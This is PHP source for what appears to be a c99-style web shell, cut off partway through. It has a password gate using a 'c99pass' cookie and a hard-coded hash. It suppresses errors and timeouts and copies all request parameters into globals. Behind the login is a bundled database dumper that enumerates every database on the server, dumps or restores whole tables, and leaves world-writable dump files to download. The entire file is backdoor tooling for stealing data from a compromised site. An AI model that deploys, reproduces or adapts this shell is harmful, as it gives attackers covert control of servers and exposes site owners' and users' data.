error_reporting(0);
@set_magic_quotes_runtime(0);
@ignore_user_abort(TRUE);
@set_time_limit(0);
ob_start();
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
function gocookie($nvcook,$pra) {
if( PHP_VERSION < 5.2 ) { setcookie($nvcook, $pra, time()+31536000, "/", "" . "; HttpOnly" ); }
else {setcookie($nvcook, $pra, time()+31536000, "/", "", NULL, TRUE ); }
}
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$sekas='b6773cabd1fd76e2de1cfdec77fefe5c';
if ($doing == 'login' ) {
if ($sekas == md5(md5($password.'xFuCmdFvTVx')))
{
gocookie('c99pass',$password);
echo '<meta http-equiv="refresh" content="2;URL='.$self.'">';
echo '<a style="font:13px Verdana" href="'.$self.'">Success :)</a>';
exit;
}
}
if ($_COOKIE['c99pass']) {
if (md5(md5($_COOKIE['c99pass'].'xFuCmdFvTVx')) != $sekas) {
loginpage();
}
} else {
loginpage();
}
function loginpage() {
?>
<style type="text/css">
input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
</style>
<center><br><br><br><form method="POST" action="">
<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form></center>
<?
exit;
}
$closetable='</table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top">';
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
if($_POST['scr']=='bak' or $_GET['scr']=='bak') {
define('PATH', '');
define('URL', '/');
define('TIME_LIMIT', 0);
define('LIMIT', 1);
define('DBNAMES', '');
define('CHARSET', 'auto');
define('RESTORE_CHARSET', 'cp1251');
define('SC', 0);
define('ONLY_CREATE', 'MRG_MyISAM,MERGE,HEAP,MEMORY');
define('GS', 0);
class dumper {
function dumper() {
if (file_exists(PATH . "cfg")) {
include(PATH . "cfg");
}
else{
$this->SET['last_action'] = 0;
$this->SET['last_db_backup'] = '';
$this->SET['tables'] = '';
$this->SET['comp_method'] = 2;
$this->SET['comp_level'] = 7;
$this->SET['last_db_restore'] = '';
}
$this->tabs = 0;
$this->records = 0;
$this->size = 0;
$this->comp = 0;
preg_match("/^(\d+)\.(\d+)\.(\d+)/", mysql_get_server_info(), $m);
$this->mysql_version = sprintf("%d%02d%02d", $m[1], $m[2], $m[3]);
$this->only_create = explode(',', ONLY_CREATE);
$this->forced_charset = false;
$this->restore_charset = $this->restore_collate = '';
if (preg_match("/^(forced->)?(([a-z0-9]+)(\_\w+)?)$/", RESTORE_CHARSET, $matches)) {
$this->forced_charset = $matches[1] == 'forced->';
$this->restore_charset = $matches[3];
$this->restore_collate = !empty($matches[4]) ? ' COLLATE ' . $matches[2] : '';
}
}
function backup() {
if (!isset($_POST)) {$this->main();}
set_error_handler("SXD_errorHandler");
$buttons = "<A ID=save HREF='' STYLE='display: none;'>Скачать файл</A> <INPUT ID=back TYPE=button VALUE='Вернуться' DISABLED onClick=\"history.back();\">";
echo tpl_page(tpl_process("Создается резервная копия БД"), $buttons);
$this->SET['last_action'] = 0;
$this->SET['last_db_backup'] = isset($_POST['db_backup']) ? $_POST['db_backup'] : '';
$this->SET['tables_exclude'] = !empty($_POST['tables']) && $_POST['tables']{0} == '^' ? 1 : 0;
$this->SET['tables'] = isset($_POST['tables']) ? $_POST['tables'] : '';
$this->SET['comp_method'] = isset($_POST['comp_method']) ? intval($_POST['comp_method']) : 0;
$this->SET['comp_level'] = isset($_POST['comp_level']) ? intval($_POST['comp_level']) : 0;
$this->SET['tables'] = explode(",", $this->SET['tables']);
if (!empty($_POST['tables'])) {
foreach($this->SET['tables'] AS $table){
$table = preg_replace("/[^\w*?^]/", "", $table);
$pattern = array( "/\?/", "/\*/");
$replace = array( ".", ".*?");
$tbls[] = preg_replace($pattern, $replace, $table);
}
}
else{
$this->SET['tables_exclude'] = 1;
}
if ($this->SET['comp_level'] == 0) {
$this->SET['comp_method'] = 0;
}
$db = $this->SET['last_db_backup'];
if (!$db) {
echo tpl_l("ОШИБКА! Не указана база данных!", C_ERROR);
echo tpl_enableBack();
exit;
}
echo tpl_l("Подключение к БД `{$db}`.");
mysql_select_db($db) or trigger_error ("Не удается выбрать базу данных.<BR>" . mysql_error(), E_USER_ERROR);
$tables = array();
$result = mysql_query("SHOW TABLES");
$all = 0;
while($row = mysql_fetch_array($result)) {
$status = 0;
if (!empty($tbls)) {
foreach($tbls AS $table){
$exclude = preg_match("/^\^/", $table) ? true : false;
if (!$exclude) {
if (preg_match("/^{$table}$/i", $row[0])) {
$status = 1;
}
$all = 1;
}
if ($exclude && preg_match("/{$table}$/i", $row[0])) {
$status = -1;
}
}
}
else {
$status = 1;
}
if ($status >= $all) {
$tables[] = $row[0];
}
}
$tabs = count($tables);
$result = mysql_query("SHOW TABLE STATUS");
$tabinfo = array();
$tab_charset = array();
$tab_type = array();
$tabinfo[0] = 0;
$info = '';
while($item = mysql_fetch_assoc($result)){
if(in_array($item['Name'], $tables)) {
$item['Rows'] = empty($item['Rows']) ? 0 : $item['Rows'];
$tabinfo[0] += $item['Rows'];
$tabinfo[$item['Name']] = $item['Rows'];
$this->size += $item['Data_length'];
$tabsize[$item['Name']] = 1 + round(LIMIT * 1048576 / ($item['Avg_row_length'] + 1));
if($item['Rows']) $info .= "|" . $item['Rows'];
if (!empty($item['Collation']) && preg_match("/^([a-z0-9]+)_/i", $item['Collation'], $m)) {
$tab_charset[$item['Name']] = $m[1];
}
$tab_type[$item['Name']] = isset($item['Engine']) ? $item['Engine'] : $item['Type'];
}
}
$show = 10 + $tabinfo[0] / 50;
$info = $tabinfo[0] . $info;
$name = $db . '_' . date("Y-m-d_H-i");
$fp = $this->fn_open($name, "w");
echo tpl_l("Создание файла с резервной копией БД:<BR>\\n - {$this->filename}");
$this->fn_write($fp, "#SKD101|{$db}|{$tabs}|" . date("Y.m.d H:i:s") ."|{$info}\n\n");
$t=0;
echo tpl_l(str_repeat("-", 60));
$result = mysql_query("SET SQL_QUOTE_SHOW_CREATE = 1");
// Кодировка соединения по умолчанию
if ($this->mysql_version > 40101 && CHARSET != 'auto') {
mysql_query("SET NAMES '" . CHARSET . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>" . mysql_error(), E_USER_ERROR);
$last_charset = CHARSET;
}
else{
$last_charset = '';
}
foreach ($tables AS $table){
// Выставляем кодировку соединения соответствующую кодировке таблицы
if ($this->mysql_version > 40101 && $tab_charset[$table] != $last_charset) {
if (CHARSET == 'auto') {
mysql_query("SET NAMES '" . $tab_charset[$table] . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>" . mysql_error(), E_USER_ERROR);
echo tpl_l("Установлена кодировка соединения `" . $tab_charset[$table] . "`.", C_WARNING);
$last_charset = $tab_charset[$table];
}
else{
echo tpl_l('Кодировка соединения и таблицы не совпадает:', C_ERROR);
echo tpl_l('Таблица `'. $table .'` -> ' . $tab_charset[$table] . ' (соединение ' . CHARSET . ')', C_ERROR);
}
}
echo tpl_l("Обработка таблицы `{$table}` [" . fn_int($tabinfo[$table]) . "].");
// Создание таблицы
$result = mysql_query("SHOW CREATE TABLE `{$table}`");
$tab = mysql_fetch_array($result);
$tab = preg_replace('/(default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP|DEFAULT CHARSET=\w+|COLLATE=\w+|character set \w+|collate \w+)/i', '/*!40101 \\1 */', $tab);
$this->fn_write($fp, "DROP TABLE IF EXISTS `{$table}`;\n{$tab[1]};\n\n");
// Проверяем нужно ли дампить данные
if (in_array($tab_type[$table], $this->only_create)) {
continue;
}
// Опредеделяем типы столбцов
$NumericColumn = array();
$result = mysql_query("SHOW COLUMNS FROM `{$table}`");
$field = 0;
while($col = mysql_fetch_row($result)) {
$NumericColumn[$field++] = preg_match("/^(\w*int|year)/", $col[1]) ? 1 : 0;
}
$fields = $field;
$from = 0;
$limit = $tabsize[$table];
$limit2 = round($limit / 3);
if ($tabinfo[$table] > 0) {
if ($tabinfo[$table] > $limit2) {
echo tpl_s(0, $t / $tabinfo[0]);
}
$i = 0;
$this->fn_write($fp, "INSERT INTO `{$table}` VALUES");
while(($result = mysql_query("SELECT * FROM `{$table}` LIMIT {$from}, {$limit}")) && ($total = mysql_num_rows($result))){
while($row = mysql_fetch_row($result)) {
$i++;
$t++;
for($k = 0; $k < $fields; $k++){
if ($NumericColumn[$k])
$row[$k] = isset($row[$k]) ? $row[$k] : "NULL";
else
$row[$k] = isset($row[$k]) ? "'" . mysql_escape_string($row[$k]) . "'" : "NULL";
}
$this->fn_write($fp, ($i == 1 ? "" : ",") . "\n(" . implode(", ", $row) . ")");
if ($i % $limit2 == 0)
echo tpl_s($i / $tabinfo[$table], $t / $tabinfo[0]);
}
mysql_free_result($result);
if ($total < $limit) {
break;
}
$from += $limit;
}
$this->fn_write($fp, ";\n\n");
echo tpl_s(1, $t / $tabinfo[0]);}
}
$this->tabs = $tabs;
$this->records = $tabinfo[0];
$this->comp = $this->SET['comp_method'] * 10 + $this->SET['comp_level'];
echo tpl_s(1, 1);
echo tpl_l(str_repeat("-", 60));
$this->fn_close($fp);
echo tpl_l("Резервная копия БД `{$db}` создана.", C_RESULT);
echo tpl_l("Размер БД: " . round($this->size / 1048576, 2) . " МБ", C_RESULT);
$filesize = round(filesize(PATH . $this->filename) / 1048576, 2) . " МБ";
echo tpl_l("Размер файла: {$filesize}", C_RESULT);
echo tpl_l("Таблиц обработано: {$tabs}", C_RESULT);
echo tpl_l("Строк обработано: " . fn_int($tabinfo[0]), C_RESULT);
echo "<SCRIPT>with (document.getElementById('save')) {style.display = ''; innerHTML = 'Скачать файл ({$filesize})'; href = '". $this->filename . "'; }document.getElementById('back').disabled = 0;</SCRIPT>";
}
function restore(){
if (!isset($_POST)) {$this->main();}
set_error_handler("SXD_errorHandler");
$buttons = "<INPUT ID=back TYPE=button VALUE='Вернуться' DISABLED onClick=\"history.back();\">";
echo tpl_page(tpl_process("Восстановление БД из резервной копии"), $buttons);
$this->SET['last_action'] = 1;
$this->SET['last_db_restore'] = isset($_POST['db_restore']) ? $_POST['db_restore'] : '';
$file = isset($_POST['file']) ? $_POST['file'] : '';
$db = $this->SET['last_db_restore'];
if (!$db) {
echo tpl_l("ОШИБКА! Не указана база данных!", C_ERROR);
echo tpl_enableBack();
exit;
}
echo tpl_l("Подключение к БД `{$db}`.");
mysql_select_db($db) or trigger_error ("Не удается выбрать базу данных.<BR>" . mysql_error(), E_USER_ERROR);
// Определение формата файла
if(preg_match("/^(.+?)\.sql(\.(bz2|gz))?$/", $file, $matches)) {
if (isset($matches[3]) && $matches[3] == 'bz2') {
$this->SET['comp_method'] = 2;
}
elseif (isset($matches[2]) &&$matches[3] == 'gz'){
$this->SET['comp_method'] = 1;
}
else{
$this->SET['comp_method'] = 0;
}
$this->SET['comp_level'] = '';
if (!file_exists(PATH . "/{$file}")) {
echo tpl_l("ОШИБКА! Файл не найден!", C_ERROR);
echo tpl_enableBack();
exit;
}
echo tpl_l("Чтение файла `{$file}`.");
$file = $matches[1];
}
else{
echo tpl_l("ОШИБКА! Не выбран файл!", C_ERROR);
echo tpl_enableBack();
exit;
}
echo tpl_l(str_repeat("-", 60));
$fp = $this->fn_open($file, "r");
$this->file_cache = $sql = $table = $insert = '';
$is_skd = $query_len = $execute = $q =$t = $i = $aff_rows = 0;
$limit = 300;
$index = 4;
$tabs = 0;
$cache = '';
$info = array();
// Установка кодировки соединения
if ($this->mysql_version > 40101 && (CHARSET != 'auto' || $this->forced_charset)) { // Кодировка по умолчанию, если в дампе не указана кодировка
mysql_query("SET NAMES '" . $this->restore_charset . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>" . mysql_error(), E_USER_ERROR);
echo tpl_l("Установлена кодировка соединения `" . $this->restore_charset . "`.", C_WARNING);
$last_charset = $this->restore_charset;
}
else {
$last_charset = '';
}
$last_showed = '';
while(($str = $this->fn_read_str($fp)) !== false){
if (empty($str) || preg_match("/^(#|--)/", $str)) {
if (!$is_skd && preg_match("/^#SKD101\|/", $str)) {
$info = explode("|", $str);
echo tpl_s(0, $t / $info[4]);
$is_skd = 1;
}
continue;
}
$query_len += strlen($str);
if (!$insert && preg_match("/^(INSERT INTO `?([^` ]+)`? .*?VALUES)(.*)$/i", $str, $m)) {
if ($table != $m[2]) {
$table = $m[2];
$tabs++;
$cache .= tpl_l("Таблица `{$table}`.");
$last_showed = $table;
$i = 0;
if ($is_skd)
echo tpl_s(100 , $t / $info[4]);
}
$insert = $m[1] . ' ';
$sql .= $m[3];
$index++;
$info[$index] = isset($info[$index]) ? $info[$index] : 0;
$limit = round($info[$index] / 20);
$limit = $limit < 300 ? 300 : $limit;
if ($info[$index] > $limit){
echo $cache;
$cache = '';
echo tpl_s(0 / $info[$index], $t / $info[4]);
}
}
else{
$sql .= $str;
if ($insert) {
$i++;
$t++;
if ($is_skd && $info[$index] > $limit && $t % $limit == 0){
echo tpl_s($i / $info[$index], $t / $info[4]);
}
}
}
if (!$insert && preg_match("/^CREATE TABLE (IF NOT EXISTS )?`?([^` ]+)`?/i", $str, $m) && $table != $m[2]){
$table = $m[2];
$insert = '';
$tabs++;
$is_create = true;
$i = 0;
}
if ($sql) {
if (preg_match("/;$/", $str)) {
$sql = rtrim($insert . $sql, ";");
if (empty($insert)) {
if ($this->mysql_version < 40101) {
$sql = preg_replace("/ENGINE\s?=/", "TYPE=", $sql);
}
elseif (preg_match("/CREATE TABLE/i", $sql)){
// Выставляем кодировку соединения
if (preg_match("/(CHARACTER SET|CHARSET)[=\s]+(\w+)/i", $sql, $charset)) {
if (!$this->forced_charset && $charset[2] != $last_charset) {
if (CHARSET == 'auto') {
mysql_query("SET NAMES '" . $charset[2] . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>{$sql}<BR>" . mysql_error(), E_USER_ERROR);
$cache .= tpl_l("Установлена кодировка соединения `" . $charset[2] . "`.", C_WARNING);
$last_charset = $charset[2];
}
else{
$cache .= tpl_l('Кодировка соединения и таблицы не совпадает:', C_ERROR);
$cache .= tpl_l('Таблица `'. $table .'` -> ' . $charset[2] . ' (соединение ' . $this->restore_charset . ')', C_ERROR);
}
}
// Меняем кодировку если указано форсировать кодировку
if ($this->forced_charset) {
$sql = preg_replace("/(\/\*!\d+\s)?((COLLATE)[=\s]+)\w+(\s+\*\/)?/i", '', $sql);
$sql = preg_replace("/((CHARACTER SET|CHARSET)[=\s]+)\w+/i", "\\1" . $this->restore_charset . $this->restore_collate, $sql);
}
}
elseif(CHARSET == 'auto'){ // Вставляем кодировку для таблиц, если она не указана и установлена auto кодировка
$sql .= ' DEFAULT CHARSET=' . $this->restore_charset . $this->restore_collate;
if ($this->restore_charset != $last_charset) {
mysql_query("SET NAMES '" . $this->restore_charset . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>{$sql}<BR>" . mysql_error(), E_USER_ERROR);
$cache .= tpl_l("Установлена кодировка соединения `" . $this->restore_charset . "`.", C_WARNING);
$last_charset = $this->restore_charset;
}
}
}
if ($last_showed != $table) {$cache .= tpl_l("Таблица `{$table}`."); $last_showed = $table;}
}
elseif($this->mysql_version > 40101 && empty($last_charset)) { // Устанавливаем кодировку на случай если отсутствует CREATE TABLE
mysql_query("SET $this->restore_charset '" . $this->restore_charset . "'") or trigger_error ("Неудается изменить кодировку соединения.<BR>{$sql}<BR>" . mysql_error(), E_USER_ERROR);
echo tpl_l("Установлена кодировка соединения `" . $this->restore_charset . "`.", C_WARNING);
$last_charset = $this->restore_charset;
}
$insert = '';
$execute = 1;
}
if ($query_len >= 65536 && preg_match("/,$/", $str)) {
$sql = rtrim($insert . $sql, ",");
$execute = 1;
}
if ($execute) {
$q++;
mysql_query($sql) or trigger_error ("Неправильный запрос.<BR>" . mysql_error(), E_USER_ERROR);
if (preg_match("/^insert/i", $sql)) {
$aff_rows += mysql_affected_rows();
}
$sql = '';
$query_len = 0;
$execute = 0;
}
}
}
echo $cache;
echo tpl_s(1 , 1);
echo tpl_l(str_repeat("-", 60));
echo tpl_l("БД восстановлена из резервной копии.", C_RESULT);
if (isset($info[3])) echo tpl_l("Дата создания копии: {$info[3]}", C_RESULT);
echo tpl_l("Запросов к БД: {$q}", C_RESULT);
echo tpl_l("Таблиц создано: {$tabs}", C_RESULT);
echo tpl_l("Строк добавлено: {$aff_rows}", C_RESULT);
$this->tabs = $tabs;
$this->records = $aff_rows;
$this->size = filesize(PATH . $this->filename);
$this->comp = $this->SET['comp_method'] * 10 + $this->SET['comp_level'];
echo "<SCRIPT>document.getElementById('back').disabled = 0;</SCRIPT>";
$this->fn_close($fp);
}
function main(){
$this->comp_levels = array('9' => '9 (максимальная)', '8' => '8', '7' => '7', '6' => '6', '5' => '5 (средняя)', '4' => '4', '3' => '3', '2' => '2', '1' => '1 (минимальная)','0' => 'Без сжатия');
if (function_exists("bzopen")) {
$this->comp_methods[2] = 'BZip2';
}
if (function_exists("gzopen")) {
$this->comp_methods[1] = 'GZip';
}
$this->comp_methods[0] = 'Без сжатия';
if (count($this->comp_methods) == 1) {
$this->comp_levels = array('0' =>'Без сжатия');
}
$dbs = $this->db_select();
$this->vars['db_backup'] = $this->fn_select($dbs, $this->SET['last_db_backup']);
$this->vars['db_restore'] = $this->fn_select($dbs, $this->SET['last_db_restore']);
$this->vars['comp_levels'] = $this->fn_select($this->comp_levels, $this->SET['comp_level']);
$this->vars['comp_methods'] = $this->fn_select($this->comp_methods, $this->SET['comp_method']);
$this->vars['tables'] = $this->SET['tables'];
$this->vars['files'] = $this->fn_select($this->file_select(), '');
$buttons = "
<INPUT TYPE=submit VALUE=Применить></form></TD>
<TD ALIGN=RIGHT>
<form method=post action=''><INPUT TYPE=submit VALUE=Выход><INPUT TYPE=hidden NAME=out VALUE=ok><INPUT TYPE=hidden NAME=scr VALUE=bak>";
echo tpl_page(tpl_main(), $buttons);
}
function db_select(){
if (DBNAMES != '') {
$items = explode(',', trim(DBNAMES));
foreach($items AS $item){
if (mysql_select_db($item)) {
$tables = mysql_query("SHOW TABLES");
if ($tables) {
$tabs = mysql_num_rows($tables);
$dbs[$item] = "{$item} ({$tabs})";
}
}
}
}
else {
$result = mysql_query("SHOW DATABASES");
$dbs = array();
while($item = mysql_fetch_array($result)){
if (mysql_select_db($item[0])) {
$tables = mysql_query("SHOW TABLES");
if ($tables) {
$tabs = mysql_num_rows($tables);
$dbs[$item[0]] = "{$item[0]} ({$tabs})";
}
}
}
}
return $dbs;
}
function file_select(){
$files = array('' => ' ');
if (is_dir(PATH) && $handle = opendir(PATH)) {
while (false !== ($file = readdir($handle))) {
if (preg_match("/^.+?\.sql(\.(gz|bz2))?$/", $file)) {
$files[$file] = $file;
}
}
closedir($handle);
}
ksort($files);
return $files;
}
function fn_open($name, $mode){
if ($this->SET['comp_method'] == 2) {
$this->filename = "{$name}.sql.bz2";
return bzopen(PATH . $this->filename, "{$mode}b{$this->SET['comp_level']}");
}
elseif ($this->SET['comp_method'] == 1) {
$this->filename = "{$name}.sql.gz";
return gzopen(PATH . $this->filename, "{$mode}b{$this->SET['comp_level']}");
}
else{
$this->filename = "{$name}.sql";
return fopen(PATH . $this->filename, "{$mode}b");
}
}
function fn_write($fp, $str){
if ($this->SET['comp_method'] == 2) {
bzwrite($fp, $str);
}
elseif ($this->SET['comp_method'] == 1) {
gzwrite($fp, $str);
}
else{
fwrite($fp, $str);
}
}
function fn_read($fp){
if ($this->SET['comp_method'] == 2) {
return bzread($fp, 4096);
}
elseif ($this->SET['comp_method'] == 1) {
return gzread($fp, 4096);
}
else{
return fread($fp, 4096);
}
}
function fn_read_str($fp){
$string = '';
$this->file_cache = ltrim($this->file_cache);
$pos = strpos($this->file_cache, "\n", 0);
if ($pos < 1) {
while (!$string && ($str = $this->fn_read($fp))){
$pos = strpos($str, "\n", 0);
if ($pos === false) {
$this->file_cache .= $str;
}
else{
$string = $this->file_cache . substr($str, 0, $pos);
$this->file_cache = substr($str, $pos + 1);
}
}
if (!$str) {
if ($this->file_cache) {
$string = $this->file_cache;
$this->file_cache = '';
return trim($string);
}
return false;
}
}
else {
$string = substr($this->file_cache, 0, $pos);
$this->file_cache = substr($this->file_cache, $pos + 1);
}
return trim($string);
}
function fn_close($fp){
if ($this->SET['comp_method'] == 2) {
bzclose($fp);
}
elseif ($this->SET['comp_method'] == 1) {
gzclose($fp);
}
else{
fclose($fp);
}
@chmod(PATH . $this->filename, 0666);
}
function fn_select($items, $selected){
$select = '';
foreach($items AS $key => $value){
$select .= $key == $selected ? "<OPTION VALUE='{$key}' SELECTED>{$value}" : "<OPTION VALUE='{$key}'>{$value}";
}
return $select;
}
}
function fn_int($num){
return number_format($num, 0, ',', ' ');
}
function fn_arr2str($array) {
$str = "array(\n";
foreach ($array as $key => $value) {
if (is_array($value)) {
$str .= "'$key' => " . fn_arr2str($value) . ",\n\n";
}
else {
$str .= "'$key' => '" . str_replace("'", "\'", $value) . "',\n";
}
}
return $str . ")";
}
// Шаблоны
function tpl_page($content = '', $buttons = ''){
return <<<HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Dumper Lite 1.0.8</TITLE>
<META HTTP-EQUIV=Content-Type CONTENT="text/html; charset=windows-1251">
<STYLE TYPE="TEXT/CSS">
<!--
body{
overflow: auto;
}
td {
font: 11px tahoma, verdana, arial;
cursor: default;
}
input, select, div {
font: 11px tahoma, verdana, arial;
}
input.text, select {
width: 100%;
}
fieldset {
margin-bottom: 10px;
}
-->
</STYLE>
</HEAD>
<BODY BGCOLOR=#ECE9D8 TEXT=#000000>
<TABLE WIDTH=100% HEIGHT=100% BORDER=0 CELLSPACING=0 CELLPADDING=0 ALIGN=CENTER>
<TR>
<TD HEIGHT=60% ALIGN=CENTER VALIGN=MIDDLE>
<TABLE WIDTH=360 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR>
<TD VALIGN=TOP STYLE="border: 1px solid #919B9C;">
<TABLE WIDTH=100% HEIGHT=100% BORDER=0 CELLSPACING=1 CELLPADDING=0>
<TR>
<TD ID=Header HEIGHT=20 BGCOLOR=#7A96DF STYLE="font-size: 13px; color: white; font-family: verdana, arial;
padding-left: 5px; FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=1,startColorStr=#7A96DF,endColorStr=#FBFBFD)"
TITLE='© 2003-2006 zapimir'>
<B>Dumper Lite 1.0.8</B><IMG ID=GS WIDTH=1 HEIGHT=1 STYLE="visibility: hidden;"></TD>
</TR>
<TR>
<FORM NAME=skb METHOD=POST>
<INPUT TYPE=hidden NAME=scr VALUE=bak>
<TD VALIGN=TOP BGCOLOR=#F4F3EE STYLE="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#FCFBFE,endColorStr=#F4F3EE); padding: 8px 8px;">
{$content}
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD STYLE='color: #CECECE' ID=timer></TD>
<TD ALIGN=RIGHT>{$buttons}</TD>
</TR>
</TABLE></TD>
</FORM>
</TR>
</TABLE></TD>
</TR>
</TABLE></TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
HTML;
}
echo $skname;
function tpl_main(){
global $SK;
return <<<HTML
<FIELDSET onClick="document.skb.action[0].checked = 1;">
<LEGEND>
<INPUT TYPE=radio NAME=action VALUE=backup>
Backup / Создание резервной копии БД </LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD WIDTH=35%>БД:</TD>
<TD WIDTH=65%><SELECT NAME=db_backup>
{$SK->vars['db_backup']}
</SELECT></TD>
</TR>
<TR>
<TD>Фильтр таблиц:</TD>
<TD><INPUT NAME=tables TYPE=text CLASS=text VALUE='{$SK->vars['tables']}'></TD>
</TR>
<TR>
<TD>Метод сжатия:</TD>
<TD><SELECT NAME=comp_method>
{$SK->vars['comp_methods']}
</SELECT></TD>
</TR>
<TR>
<TD>Степень сжатия:</TD>
<TD><SELECT NAME=comp_level>
{$SK->vars['comp_levels']}
</SELECT></TD>
</TR>
</TABLE>
</FIELDSET>
<FIELDSET onClick="document.skb.action[1].checked = 1;">
<LEGEND>
<INPUT TYPE=radio NAME=action VALUE=restore>
Restore / Восстановление БД из резервной копии </LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD>БД:</TD>
<TD><SELECT NAME=db_restore>
{$SK->vars['db_restore']}
</SELECT></TD>
</TR>
<TR>
<TD WIDTH=35%>Файл:</TD>
<TD WIDTH=65%><SELECT NAME=file>
{$SK->vars['files']}
</SELECT></TD>
</TR>
</TABLE>
</FIELDSET>
</SPAN>
<SCRIPT>
document.skb.action[{$SK->SET['last_action']}].checked = 1;
</SCRIPT>
HTML;
}
function tpl_process($title){
return <<<HTML
<FIELDSET>
<LEGEND>{$title} </LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR><TD COLSPAN=2><DIV ID=logarea STYLE="width: 100%; height: 140px; border: 1px solid #7F9DB9; padding: 3px; overflow: auto;"></DIV></TD></TR>
<TR><TD WIDTH=31%>Статус таблицы:</TD><TD WIDTH=69%><TABLE WIDTH=100% BORDER=1 CELLPADDING=0 CELLSPACING=0>
<TR><TD BGCOLOR=#FFFFFF><TABLE WIDTH=1 BORDER=0 CELLPADDING=0 CELLSPACING=0 BGCOLOR=#5555CC ID=st_tab
STYLE="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#CCCCFF,endColorStr=#5555CC);
border-right: 1px solid #AAAAAA"><TR><TD HEIGHT=12></TD></TR></TABLE></TD></TR></TABLE></TD></TR>
<TR><TD>Общий статус:</TD><TD><TABLE WIDTH=100% BORDER=1 CELLSPACING=0 CELLPADDING=0>
<TR><TD BGCOLOR=#FFFFFF><TABLE WIDTH=1 BORDER=0 CELLPADDING=0 CELLSPACING=0 BGCOLOR=#00AA00 ID=so_tab
STYLE="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#CCFFCC,endColorStr=#00AA00);
border-right: 1px solid #AAAAAA"><TR><TD HEIGHT=12></TD></TR></TABLE></TD>
</TR></TABLE></TD></TR></TABLE>
</FIELDSET>
<SCRIPT>
var WidthLocked = false;
function s(st, so){
document.getElementById('st_tab').width = st ? st + '%' : '1';
document.getElementById('so_tab').width = so ? so + '%' : '1';
}
function l(str, color){
switch(color){
case 2: color = 'navy'; break;
case 3: color = 'red'; break;
case 4: color = 'maroon'; break;
default: color = 'black';
}
with(document.getElementById('logarea')){
if (!WidthLocked){
style.width = clientWidth;
WidthLocked = true;
}
str = '<FONT COLOR=' + color + '>' + str + '</FONT>';
innerHTML += innerHTML ? "<BR>\\n" + str : str;
scrollTop += 14;
}
}
</SCRIPT>
HTML;
}
function tpl_auth($error){
return <<<HTML
<SPAN ID=error>
<FIELDSET>
<LEGEND>Ошибка</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD>Для работы Sypex Dumper Lite требуется:<BR> - Internet Explorer 5.5+, Mozilla либо Opera 8+ (<SPAN ID=sie>-</SPAN>)<BR> - включено выполнение JavaScript скриптов (<SPAN ID=sjs>-</SPAN>)</TD>
</TR>
</TABLE>
</FIELDSET>
</SPAN>
<SPAN ID=body STYLE="display: none;">
{$error}
<FIELDSET>
<LEGEND>Введите логин и пароль</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD WIDTH=41%>Сервер:</TD>
<TD WIDTH=59%><INPUT NAME=server TYPE=text CLASS=text></TD>
</TR>
<TR>
<TD WIDTH=41%>Логин:</TD>
<TD WIDTH=59%><INPUT NAME=login TYPE=text CLASS=text></TD>
</TR>
<TR>
<TD>Пароль:</TD>
<TD><INPUT NAME=pass TYPE=password CLASS=text></TD>
</TR>
</TABLE>
</FIELDSET>
</SPAN>
<SCRIPT>
document.getElementById('sjs').innerHTML = '+';
document.getElementById('body').style.display = '';
document.getElementById('error').style.display = 'none';
var jsEnabled = true;
</SCRIPT>
HTML;
}
function tpl_l($str, $color = C_DEFAULT){
$str = preg_replace("/\s{2}/", " ", $str);
return <<<HTML
<SCRIPT>l('{$str}', $color);</SCRIPT>
HTML;
}
function tpl_enableBack(){
return <<<HTML
<SCRIPT>document.getElementById('back').disabled = 0;</SCRIPT>
HTML;
}
function tpl_s($st, $so){
$st = round($st * 100);
$st = $st > 100 ? 100 : $st;
$so = round($so * 100);
$so = $so > 100 ? 100 : $so;
return <<<HTML
<SCRIPT>s({$st},{$so});</SCRIPT>
HTML;
}
function tpl_backup_index(){
return <<<HTML
<CENTER>
<H1>У вас нет прав для просмотра этого каталога</H1>
</CENTER>
HTML;
}
function tpl_error($error){
